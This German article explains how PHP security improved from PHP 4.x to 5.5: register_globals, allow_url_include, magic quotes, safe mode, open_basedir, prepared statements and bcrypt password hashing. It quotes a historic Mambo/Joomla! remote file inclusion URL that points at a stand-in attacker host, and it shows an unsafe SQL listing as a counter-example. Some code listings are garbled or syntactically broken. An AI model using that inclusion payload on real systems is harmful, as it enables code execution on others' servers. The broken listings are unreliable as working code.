Wie hat sich die Sicherheit von PHP im Laufe der Zeit verbessert?

PHP-Sicherheit von PHP 4.x bis PHP 5.5
Kommentare

Die meisten Schwachstellen in Webanwendungen befinden sich in den Webanwendungen selbst. Aber auch die verwendete Programmiersprache und die eingesetzten Bibliotheken und Frameworks haben Auswirkungen auf die Sicherheit der Anwendung. PHP galt lange Zeit als unsichere Sprache, PHP-Anwendungen als chronisch unsicher. Was aber eigentlich nie an PHP selbst lag, sondern an den Anwendungsentwicklern und Administratoren. Denn was kann PHP dafür, wenn die Entwickler Schwachstellen programmieren und die Administratoren das Ganze dann auch noch unsicher konfigurieren? Trotzdem wurde auch PHP selbst im Laufe der Zeit immer sicherer. Werfen wir einen Blick auf diese Verbesserungen.

Ein Klassiker: register_globals

Ein ständiges Ärgernis waren die automatisch als globale Variablen registrierten GET-, POST- und Cookie-Variablen. Die Beschreibung von register_globals liest sich eigentlich ganz harmlos: „Bestimmt, ob die EGPCS (Environment/Umgebung, GET, POST, Cookie, Server) Variablen als globale Variablen registriert werden sollen.“

Das klingt doch unheimlich praktisch – alle Variablen sind sofort verfügbar, es ist kein mühsamer Import über $_GET. $_POST, $_COOKIE nötig. Wer sollte also etwas dagegen haben? Nun, jeder, der Wert auf Sicherheit legt. Denn wenn diese Variablen alle automatisch registriert werden, bedeutet das auch, dass ein Angreifer jede beliebige Variable mit jedem beliebigen Wert in die Webanwendung einschleusen kann. Nun ist das ebenso harm- wie zwecklos, wenn es diese Variable im Skript eigentlich nicht gibt. Das Skript kennt sie nicht und verwendet sie auch nicht. Aber was passiert, wenn eine Variable eingeschleust wird, die existiert? Normalerweise initialisiert man Variablen, bevor man sie zum ersten Mal verwendet. Aber wenn das nicht passiert, kann ein Angreifer bei aktivierten register_globals einen Wert nach seiner Wahl in diese Variable schreiben. Und das kann sehr gefährlich sein.

Die besten Beispiele liefert das Leben

Vielleicht erinnern Sie sich ja noch daran: Vor einigen Jahren gab es mal eine Vielzahl von Security Advisories zu und Exploits für Mambo-/Joomla!-Erweiterungen, die für Remote File Inclusion, also das Einbinden von PHP-Skripten vom Server eines Angreifers, anfällig waren. Das hatte zwei Ursachen: Zum einen stand ganz am Anfang der Erweiterungsskripte die Zeile require($mosConfig_absolute_path.’/components/com_name/eine-datei.php‘);. Zum anderen war auf den meisten Servern register_globals aktiviert. Alles, was ein Angreifer tun musste, um seinen Code auf einem Server mit einer betroffenen Mambo-/Joomla!-Erweiterung einzuschleusen, war der Aufruf eines URLs nach dem Muster:

http://www.server.example/mambo/components/com_name/erweiterungs_name.php?mosConfig_absolute_path=http://www.angreifer.example/script.php%00

Dadurch enthielt die in der Erweiterung selbst nicht initialisierte Variable mosConfig_absolute_path nun den Pfad zum einzubindenden Skript des Angreifers.

Eigentlich hatten sich die Entwickler das natürlich ganz anders vorgestellt: In Mambo bzw. Joomla! wurde mosConfig_absolute_path mit dem absoluten Pfad zur Mambo/Joomla!-Installation initialisiert, und die später aufgerufenen Erweiterungen konnten dann darüber weitere Skripte einbinden. Zum Problem wurde das Ganze, wenn die Erweiterungen direkt und nicht von Mambo/Joomla! aufgerufen wurden. Denn dann war mosConfig_absolute_path nicht initialisiert und nahm dank register_globals den vom Angreifer gelieferten Wert an.

Die Lösung des Problems war denkbar einfach: Eigentlich sollte jede Erweiterung mit der Zeile defined(‚_VALID_MOS‘) or die(‚Restricted access‘); beginnen. Die Konstante _VALID_MOS kann vom Angreifer nicht gesetzt werden, der direkte Aufruf des Skripts ist nicht mehr möglich. Wird das Skript aber innerhalb von Mambo/Joomla! aufgerufen, ist sowohl die Konstante _VALID_MOS gesetzt als auch die Variable mosConfig_absolute_path mit dem korrekten Wert initialisiert. Falls ein Angreifer Mambo/Joomla! selbst mit dem Parameter mosConfig_absolute_path=http://www.angreifer.example/script.php%00 aufruft, hätte das keine Auswirkungen auf das Skript, da dieser Wert bei der Initialisierung durch den korrekten Wert überschrieben wird.

Genau so einfach konnte die Schwachstelle natürlich auch durch das Ausschalten von register_globals behoben werden.

Dieses Problem gibt es inzwischen nicht mehr: In PHP 4.2.0 wurde die Default-Einstellung auf off gesetzt, mit PHP 5.3.0 wurde die Option als „deprecated“ (veraltet) eingestuft, und seit PHP 5.4.0 gibt es sie gar nicht mehr.

Viele Hoster, vor allem die Massenhoster, hatten die Default-Einstellung ab PHP 4.2.0 auf den ursprünglichen Wert „on“ geändert. Diese einfache Möglichkeit zur Reduktion der Supportanfragen aufgrund inkompatibler Skripte haben sie seit PHP 5.4.0 nicht mehr. Ob das ein Grund dafür ist, dass PHP 5.3.x noch relativ weit verbreitet ist? Immerhin kann man damit bei Bedarf schnell mal register_globals einschalten und muss dem Kunden nicht erklären, dass sein Skript hoffnungslos veraltet ist und dringend entsorgt oder aktualisiert werden muss.

Mit allow_url_include gegen Remote File Inclusion

Als Schutz vor Remote File Inclusion wurde mit PHP 5.2.0 die Option allow_url_include eingeführt. Direkt nach der Veröffentlichung von PHP 4.0.3 war schon die Option allow_url_fopen eingeführt worden. Darüber kann bekanntlich festgelegt werden, ob fopen()-Zugriffe auch über das FTP- oder HTTP-Protokoll möglich sein sollen oder nicht (bis einschließlich PHP 4.0.3 konnte diese Option nur während des Kompilierens ein- bzw. ausgeschaltet werden).

Im Allgemeinen möchte man keine entfernten Dateien über include/include_once und require/require_once einbinden. Mitunter ist es aber durchaus wünschenswert, andere entfernte Dateien über fopen() öffnen zu können. Bis PHP 5.2.0 hatte man nur die Wahl zwischen „alles oder nichts“: Wenn man allow_url_fopen einschaltete, konnte über eine File-Inclusion-Schwachstelle unter Umständen Code von fremden Servern eingebunden werden. Dafür hatte man aber auch die Möglichkeit, gewünschte Dateien von anderen Servern zu öffnen. Schaltete man allow_url_fopen dagegen aus, wurde jede Remote File Inclusion zur etwas weniger gefährlichen Local File Inclusion, man konnte aber auch nicht mehr auf Dateien auf anderen Servern zugreifen.

Dank der Einführung von allow_url_include ist nun beides möglich: Schaltet man diese Option aus, kann bei eingeschaltetem allow_url_fopen wie gewünscht mittels fopen() auf Dateien auf anderen Servern zugegriffen werden, über include/include_once und require/require_once können aber nur lokale Dateien geladen werden.

Nur damit an dieser Stelle keine Missverständnisse entstehen: Weder allow_url_fopen noch allow_url_include führen dazu, dass File-Inclusion-Schwachstellen verschwinden oder harmlos werden. Sie können lediglich aus einer Remote File Inclusion eine Local File Inclusion machen. Gelingt es dem Angreifer, PHP-Code in eine Datei auf dem Server einzuschleusen, kann er diese lokale Datei problemlos einbinden, sodass der Code ausgeführt wird.

Zweifelhafte Magie bietet keinen Schutz

Kommen wir nun zu einer Schutzfunktion mit zweifelhaftem Wert: Den Magic Quotes, die im PHP Manual aktuell sehr treffend folgendermaßen beschrieben werden: „Magic Quotes is a process that automagically escapes incoming data to the PHP script. It’s preferred to code with magic quotes off and to instead escape the data at runtime, as needed.“

Magic Quotes sind ein klassisches Beispiel für den Spruch „Gut gemeint ist nicht immer gut gemacht“: Eigentlich dazu gedacht, den Entwicklern das lästige Quoten von Parametern für SQL-Abfragen zu ersparen, hat es mehr Schaden als Nutzen angerichtet. Das erste Problem bestand schon darin, dass man immer prüfen musste, ob die Magic Quote auf dem aktuellen Server denn nun aus- oder eingeschaltet waren, um sicherzugehen, dass die Eingaben korrekt gequotet wurden. Wurde das vergessen, kam es schnell zu mehrfach gequoteten Werten, was zumindest zu optisch unschönen Ausgaben führte – von weiteren Problemen ganz zu schweigen.

Viel schlimmer wurde es aber, wenn sich ein Entwickler und damit die von ihm entwickelte Anwendung blind darauf verließ, dass Magic Quotes eingeschaltet ist. Denn dann wurden die Daten im Allgemeinen ohne weitere Bearbeitung für SQL-Abfragen verwendet. Mit dem zu erwartenden Ergebnis: Waren Magic Quotes, wie im Manual inzwischen empfohlen, ausgeschaltet, kam es zu SQL-Injection-Schwachstellen.

Auf ein Beispiel kann ich in diesem Fall wohl verzichten, das Problem dürfte allen Lesern auch so ersichtlich sein. Und auch dieses Problem gibt es inzwischen nicht mehr: Magic Quotes galten seit PHP 5.3.0 als deprecated, in Version 5.4.0 wurden sie abgeschafft.

Safe Mode – Willkommen auf dem Holzweg

Kommen wir zum Safe Mode. Der wird im Manual so beschrieben: „The PHP safe mode is an attempt to solve the shared-server security problem. It is architecturally incorrect to try to solve this problem at the PHP level, but since the alternatives at the web server and OS levels aren’t very realistic, many people, especially ISP’s, use safe mode for now.“

Da wäre mal eine Korrektur nötig, denn „now“ ist seit PHP 5.4.0 Geschichte: Der Safe Mode galt seit PHP 5.3.0 als deprecated, in Version 5.4.0 wurde er dann abgeschafft. Und das ist auch gut so, denn er war eigentlich mehr ein eigenes Problem als eine Lösung.

Im aktivierten Safe Mode waren zum Beispiel einige Funktionen gar nicht oder nur eingeschränkt verfügbar, manche Konfigurationsanweisungen verboten und die Dateizugriffe waren auf Dateien des gleichen Benutzers beschränkt.

Welche Funktionen eingeschränkt waren, wussten zumindest die Autoren des Manuals bis zum Schluss nicht so genau, denn die entsprechende Liste beginnt mit der Einschränkung „This is a still probably incomplete and possibly incorrect listing of the functions limited by safe mode.“ Das sind nicht gerade die besten Voraussetzungen für eine zielführende Nutzung des Safe Mode.

Außerdem gab es immer wieder Schwachstellen im Safe Mode, durch die seine Einschränkungen umgangen werden konnten. Was kein Wunder ist, da diese Einschränkungen nicht auf Funktionen des Kernels oder des verwendeten Dateisystems basierten, sondern in jeder PHP-Funktion implementiert werden mussten. Es gab immer wieder Erweiterungen, deren Funktionen den Safe Mode nicht implementierten und damit unterliefen. Hinzu kommt, dass PHP auf C-Libraries wie zum Beispiel libcurl zurückgreift, die den Safe Mode gar nicht kennen.

open_basedir – Einschränkungen für die Einschränkungen

Über die Option open_basedir kann der Dateizugriff auf die Dateien in einem Verzeichnis samt dessen Unterverzeichnisse begrenzt werden. Die PHP-Anwendungen können also nur Dateien in diesen Verzeichnissen lesen und schreiben, was die Folgen eines Angriffs deutlich einschränkt. Es gibt natürlich Möglichkeiten, diese Einschränkung zu umgehen, zum Beispiel können per Shell-Funktionen wie system() ausgeführte Dateien aus dem open_basedir ausbrechen. Trotzdem ist der Schutz für viele Zwecke ausreichend.

In PHP 5.3.0 wurde open_basedir verbessert: Jetzt kann open_basedir auch zur Laufzeit weiter eingeschränkt werden. Wurde das open_basedir in der php.ini zum Beispiel auf /www/ gesetzt, kann es zur Laufzeit mit ini_set() zum Beispiel auf /www/anwendung/ weiter eingeschränkt werden.

Bye Bye, MySQL-API

Das Ende des originalen MySQL-API ist gekommen. Jedenfalls fast: Ab PHP 5.5.0 gilt das MySQL-API als deprecated. Und wie Sie oben schon gesehen haben, bedeutete das bisher immer das Aus in der nächsten Version.

Sie fragen sich jetzt vielleicht, was das MySQL-API mit Sicherheit zu tun hat. Die Antwort lautet: eigentlich nichts, aber andererseits doch sehr viel. Der einzige zuverlässige Schutz vor SQL Injection ist die Nutzung von Prepared Statements mit parametrisierten Aufrufen (Parameterized Queries) [9 – Carsten Eilers: „…und die Datenbank gehorcht dem Angreifer“, PHP User Magazin 2.2010]. Und die werden vom originalen MySQL-API nicht unterstützt. Da es aber lange Zeit am häufigsten verwendet wurde und es sehr viele Beispiele für seine Anwendung gibt, gab es immer reichlich SQL-Injection-Schwachstellen.

Wenn die Entwickler nun gezwungenermaßen auf MySQLi oder PDO MySQL wechseln müssen, besteht die einmalige Gelegenheit, dabei aus Sicherheitssicht Nägel mit Köpfen zu machen und die Anwendungen nicht nur einfach an die neuen APIs anzupassen, sondern gleichzeitig auf Prepared Statements mit parametrisierten Aufrufen umzustellen.

Prepared Statements mit parametrisierten Aufrufen gegen SQL Injection

Den zuverlässigsten Schutz vor SQL Injection bieten parametrisierte Aufrufe von Prepared Statements. Der Aufbau des SQL-Statements wird dabei in zwei Schritte aufgespalten:

  1. Die Struktur des SQL-Statements wird definiert, für alle Eingaben werden Platzhalter eingesetzt.
  2. Der Inhalt der Platzhalter wird spezifiziert.

Die im zweiten Schritt erzeugten Daten haben keine Möglichkeit, die im ersten Schritt definierte Struktur des Statements zu ändern. Nachdem die Struktur des Statements definiert wurde, werden alle für die Platzhalter übergebenen Daten als Literal und nicht als Teil der Statement-Struktur betrachtet. Schleust ein Angreifer in so ein Statement SQL-Code ein, wird er nicht ausgeführt.

Vom MySQL-API zu MySQLi

Diese Umstellung ist gar nicht so schwierig, wie viele denken. Als Beispiel dient ein stark vereinfachtes Skript aus [9]. In Listing 1 stehen Sie den Code zum Eintragen zweier Werte in eine Datenbank auf Grundlage des MySQL-API. Der Code sollte selbsterklärend sein. In Listing 2 sieht man das Gleiche mit MySQLi.

Listing 1

 // HOSTNAME, USERNAME, PASSWORD und DATENBANK sind Konstanten mit den entsprechenden Werten

// 1. Schritt: Verbindung zu MySQL aufbauen
$connection = mysql_connect(HOSTNAME,USERNAME,PASSWORD);

if (!$connection) {
  // Keine Verbindung zu MySQL
}
else {
  // 2. Schritt: Datenbank auswählen
  $test = mysql_select_db(DATENBANK);
  if (!$test) {
    // Keine Verbindung zur Datenbank
  }
  else {
    // 3. Schritt: Query vorbereiten
    $query = "INSERT INTO text_tabelle (Titel, Text)
                          values ('$titel', '$text')";
    // 4. Schritt: Query ausführen
    if (!mysql_query($query)) {
      // MySQL-Fehler
    }
    else {
      // Text erfolgreich eingetragen
    }
  }
  // Die Verbindung kann geschlossen werden:
  mysql_close($link);
}

Listing 2

// HOSTNAME, USERNAME, PASSWORD und DATENBANK sind Konstanten mit den entsprechenden Werten

// 1. Schritt: Verbindung zur MySQL-Datenbank aufbauen
$connection = mysqli_connect(HOSTNAME, USERNAME, PASSWORD, DATENBANK);

if (!$connection) {
  // Keine Verbindung zu MySQL
}
else {
  // 2. Schritt: Die Abfrage als Prepared Statement vorbereiten:
  $statement = mysqli_prepare($connection, "INSERT INTO text_tabelle (Titel, Text) values (?, ?)");
  // 3. Schritt: Die Parameter daran binden:
  mysqli_stmt_bind_param($statement, 'ss', $titel, $text);
  // 4. Schritt: Die Parameter füllen:
  $titel = htmlentities(strip_tags($_POST["titel"]));
  $text  = strip_tags($_POST["text"], "<a><img alt="" /></a>
<b>"); // 5. Schritt: Das so vorbereitete Statement kann nun ausgeführt werden: $ok = mysqli_stmt_execute($statement); if (!ok) { // MySQL-Fehler } else { // Text erfolgreich eingetragen } // Das Statement kann geschlossen werden: mysqli_stmt_close($statement); // Die Verbindung kann geschlossen werden: mysqli_close($connection); } </b>

Auch dieser Code sollte weitgehend selbsterklärend sein. Der zweite Parameter der Funktion mysqli_bind_param() gibt an, welche Datentypen die Parameter des SQL-Statements haben. In diesem Fall sind beides Strings. Es stehen vier Werte zur Verfügung (Tabelle 1).

Zeichen

Datentyp

I

Integer-Werte

D

Double- und Float-Werte

S

Strings

B

BLOBs

Tabelle 1: Formatangaben für parametrisierte Prepared Statements

Mühsam ernährt sich das Eichhörnchen

Die Prepared Statements sind nur dann sicher, wenn sie konsequent für alle SQL-Statements verwendet werden. Werden sie nur für die Statements verwendet, die direkte Benutzereingaben enthalten, ist unter Umständen SQL Injection zweiter Ordnung möglich: In einem ersten Schritt wird SQL-Code in der Datenbank gespeichert, der erst bei einer späteren Verwendung des präparierten Eintrags ausgeführt wird.

Wenn Sie also eine Anwendung vom MySQL-API zu MySQLi oder PDO MySQL migrieren und dabei auf Prepared Statements umstellen, müssen Sie sämtliche SQL-Anfragen in Prepared Statements umwandeln.

Genau so wichtig ist es, dass alle Eingaben der Prepared Statements parametrisiert werden. Wenn Eingaben direkt übernommen werden, ist auch über Prepared Statements SQL Injection möglich.

Passwort-Hashing, einfach und sicher

Kommen wir nun zu einer echten Neuheit in PHP 5.5.0: Einem API zur Erzeugung sicherer Passwort-Hashes. In letzter Zeit kam es vermehrt zu Datenlecks, in deren Folge Zugangsdaten veröffentlicht wurden. Sind die Passwörter dann nur als einfacher Hashwert gespeichert, können die zugehörigen Passwörter relativ schnell ermittelt werden.

Normale kryptographische Hashwerte lassen sich mithilfe sog. Rainbow Tables recht schnell umkehren. Für viele Hashfunktionen und Passwortarten gibt es bereits fertig berechnete Rainbow Tables, außerdem können die Tabellen natürlich „on the fly“ gebildet werden.

Um diese Angriffe zu verhindern, werden die Passwörter normalerweise vor dem Hashen gesalzen: Ein (idealerweise für jedes Passwort neu gebildeter) Zufallswert, das sog. Salt, wird an das Passwort angehängt, der Hashwert berechnet und zusammen mit dem Salt gespeichert. Soll später das Passwort geprüft werden, wird analog vorgegangen: Der Salt-Wert wird an das Passwort angehängt, der Hashwert berechnet und mit dem gespeicherten Hashwert verglichen.

Ein Angreifer, der einen so gesalzenen Hashwert mithilfe einer Rainbow Table brechen will, muss für jeden Salt-Wert eine neue Tabelle berechnen, was das Ganze aber heutzutage auch nicht mehr unbedingt verlangsamt, die schnellen CPUs und vor allem GPUs machen es möglich. Außerdem gibt es ja noch „die Cloud“ mit ihrer großen Rechenleistung. Denn die universell verwendbaren Hashfunktionen wurden gezielt in Hinsicht auf ihre schnelle Berechenbarkeit entwickelt, was natürlich auch einem Angreifer zugutekommt.

Deshalb wurden für das Hashen von Passwörtern spezielle Verfahren entwickelt, bei denen besonderer Wert darauf gelegt wurde, das Brechen von damit geschützten Passwörtern so sehr zu verlangsamen, dass es für einen Angreifer uninteressant wird.

Ein neues API für PHP

Im Juni 2012 wurde angeregt, ein solches Verfahren in einem neuen API für PHP zu implementieren. Für den Anfang fiel die Wahl auf bcrypt. bcrypt hat aus Sicherheitssicht zwei Vorteile: Es ist sehr rechenintensiv und sehr speicherhungrig. Was beim Hashen der Passwörter ziemlich egal ist, da man das ja nicht sehr häufig machen muss. Beim Brechen der Hashwerte sieht es aber ganz anders aus: Dann müssen möglichst viele mögliche Werte möglichst schnell berechnet werden. Für normale Hashfunktionen werden dafür heutzutage oft GPUs verwendet. Und genau das ist im Fall von bcrypt aufgrund seines Speicherhungers nicht effektiv möglich. Das neue API stellt folgende vier Funktionen bereit:

  • password_get_info($hashwert) liefert ein Array mit Informationen über den Hashwert, sofern er vom API erzeugt wurde.
  • password_hash($passwort, $algorithmuskonstante, [$options-array]) berechnet mit dem angegebenen Algorithmus und ggf. den angegebenen Optionen den Hashwert des angegebenen Passworts.

Bisher sind zwei Konstanten definiert: PASSWORD_BCRYPT steht für den bcrypt-Algorithmus, PASSWORD_DEFAULT für den Default-Algorithmus, falls es irgendwann mehr als nur einen Algorithmus gibt. Auch bei den Optionen gibt es bisher nur zwei Werte: salt für einen vom Benutzer festgelegten Salt-Wert und cost für die Komplexität („Kosten“) des Algorithmus.

  • password_needs_rehash($hashwert, $algorithmuskonstante, [$options-array]) prüft, ob der Hashwert mit dem angegebenen Algorithmus und ggf. den angegebenen Optionen erzeugt wurde.
  • password_verify($passwort, $hash) prüft, ob das Passwort dem angegebenen Hashwert entspricht.

Sie können also mit nur einem einzigen Funktionsaufruf einen Passwort-Hash erzeugen oder ein Passwort prüfen. $passwort ist im Folgenden das vom Benutzer eingegebene Passwort, $hash der erzeugte bzw. in der Datenbank gespeicherte Hashwert. Der Hashwert wird durch den Aufruf

$hash = password_hash($passwort, PASSWORD_DEFAULT);

erzeugt, das Passwort später mittels

if (password_verify($passwort, $hash)) {   // Passwort ist korrekt } else {   // Passwort ist falsch }

geprüft. Das API übernimmt in diesem Fall das Salzen, der Salt-Wert wird automatisch zum Passwort hinzugefügt und gespeichert.

Mitunter ist es nötig, bereits gehashte Passwörter erneut zu hashen. Zum Beispiel, weil der Hashalgorithmus gewechselt oder die Komplexität von bcrypt erhöht werden soll. Dieses Rehashen ist nur während der Passwortprüfung möglich, da das Passwort dafür als Klartext vorliegen muss. Die kleine Funktion in Listing 3 erledigt das Prüfen des Passworts sowie bei Bedarf die Berechnung des neuen Hashwerts.

Listing 3

function password_verify_rehash($password, $hash, $algorithmus, $options-array) {
  // $algorithmus = aktuelle Algorithmus-Konstante
  // $options-array = aktuelles Optionen-Array

  if (!password_verify($password, $hash)) {
    // Das Passwort ist falsch!
    return false;
  }

  // Das Passwort ist richtig.
  if (password_needs_rehash($hash, $algorithmus, $options-array)) {
    // das Passwort muss neu gehasht werden
    $hash = password_hash($password, $algorithmus, $options-array);
    // jetzt muss der neue Hashwert noch gespeichert werden
    speichere_in_Datenbank($hash);
  }
  return true;
}

Das Passwort-Hashing ist wie bereits erwähnt ab Version 5.5.0 Bestandteil von PHP. Wenn Sie es vorher schon verwenden wollen, gibt es eine Userland-Implementierung für PHP ab Version 5.3.7.

Fazit

In PHP hat sich in Version 5.x einiges in Hinblick auf die Sicherheit getan. Ich persönlich freue mich auf die neuen passwort_*-Funktionen im kommenden PHP 5.5.0. Die werden den Angreifern den Spaß an ihren ausgespähten Zugangsdaten gründlich verderben, wenn sie überall genutzt werden.

Auch die kommende Abschaffung des MySQL-API sehe ich sehr positiv. Ich hoffe sehr, in Zukunft seltener auf SQL-Injection-Schwachstellen in PHP-Anwendungen zu stoßen. Denn die Ausrede „Aber das MySQL-API kann nun mal keine Prepared Statements“ zieht bald nicht mehr. Denn dann kennt PHP das MySQL-API nicht mehr. Und wenn man seine Anwendungen sowieso an MySQLi oder PDO MySQL anpassen muss, kann man dabei auch gleich zu Prepared Statements wechseln. Aber bitte mit parametrisierten Aufrufen!

Also: PHP 5.5.0 steht vor der Tür – lassen wir es rein und heißen es herzlich Willkommen!

Unsere Redaktion empfiehlt:

Relevante Beiträge

Meinungen zu diesem Beitrag

X
- Gib Deinen Standort ein -
- or -